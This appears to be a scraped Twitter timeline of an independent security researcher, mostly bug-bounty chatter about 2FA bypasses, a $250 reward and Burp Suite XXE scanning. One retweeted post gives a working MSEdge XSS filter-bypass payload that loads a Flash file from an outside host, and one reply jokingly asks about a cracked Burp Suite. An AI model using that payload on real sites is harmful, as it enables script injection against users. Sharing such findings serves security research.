James mados

Independent Security Researcher

[Masato Kinugawa @kinugawamasato]

MSEdge XSS Filter bypass:

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>

https://t.co/BOFGxNft3v

[James mados @james_mados]

Bypassed 2-FA again and again!!

#Bugbounty #SecurityBreak #Passion #HappyforHelp

[James mados @james_mados]

@seanmeals HAHAHA :D

[James mados @james_mados]

@seanmeals are you using burpsuite crack version?

[James mados @james_mados]

@seanmeals @Burp_Suite can you please suggest a xxe's plugin or any script for burpsuite

[James mados @james_mados]

Thanks Private Company for the $250 Reward ! Bug has been resolved!
#Happyforhelp @SecurityReseacher #WebApplications

[James mados @james_mados]

Same here @Burp_Suite https://t.co/k1zSKPL4bE

[Sean Melia @seanmeals]

has anyone else been seeing a lot of XXE false positives from @Burp_Suite active scan when using a vpn recently?